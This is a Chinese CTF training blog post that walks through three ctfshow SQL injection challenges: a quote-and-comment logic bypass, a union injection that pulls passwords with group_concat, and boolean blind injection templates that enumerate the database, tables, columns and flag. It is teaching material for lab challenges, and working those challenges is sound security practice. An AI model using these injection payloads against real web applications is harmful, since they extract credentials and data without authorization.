【Ctfer训练计划】——(十一)

作者名:Demo不是emo
主页面链接: 主页传送门
创作初心: 一切为了她
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日emo: 生命当如蜡烛,从头燃烧到尾

一、简单的逻辑绕过

题目 :web171
训练平台 :ctfshow
题目描述入门sql

环境容器打开如下

payload如下

    1' or username='flag'%23

语句分析如下

此时的语句逻辑就是当username!='flag'和id='1'同时满足时,前半段语句为true,因为这里的username='flag',所以前半段语句自然结果为false,所以就执行username='flag'这后面半段,此时就相当于语句变为了如下

$sql = "select username,password from user where  username='flag'#' limit 1;";

此时自然就绕过了前面的限制,成功读取到目标数据

二、简单的union注入

题目 :web172
训练平台 :ctfshow
题目描述入门sql

容器打开后页面如下

提示的sql语句

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

就是一个简单的union注入取数据,不停地找数据就行了,这里就不多讲了。payload如下

1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user2),database()%23

三、sql盲注基础考察

题目 :web172
训练平台 :ctfshow
题目描述考察sql基础,不要一把梭,没意思

环境打开如下

后端sql语句

$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

经过检测就是一个简单的布尔盲注,一步一步拿数据就可以了,如下

#payload = f"1 or ascii(substr(database(),{i},1))>{mid}# " #查库

#payload = f"1' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid}#" #查表

#payload = f"1' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='fl4g'),{i},1))>{mid}#" #查列

#payload = f"1' or ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid}#" #查数据

一位一位读取flag,最后拿到flag即可

猜你喜欢

转载自blog.csdn.net/qq_63844103/article/details/128642073